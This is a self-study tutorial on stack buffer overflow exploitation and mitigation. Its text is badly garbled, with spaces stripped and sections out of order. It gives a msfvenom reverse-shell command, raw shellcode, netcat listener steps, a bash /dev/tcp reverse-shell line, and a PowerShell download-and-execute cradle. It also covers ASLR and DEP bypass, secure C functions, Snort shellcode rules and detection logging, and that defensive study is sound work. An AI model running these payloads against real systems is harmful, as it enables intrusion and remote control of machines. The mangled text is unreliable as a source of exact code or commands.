x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC

ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes

Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode

FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch

CrashingtheStackFinallyrightitrsquosalongstrangetripSo

WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments

Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload

Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip

TheScarydebuggerUI

IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners

NativeEDBinTerminal

OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes

1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection

2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater

3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired

4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault

5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer

6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly

MemoryArchitecture

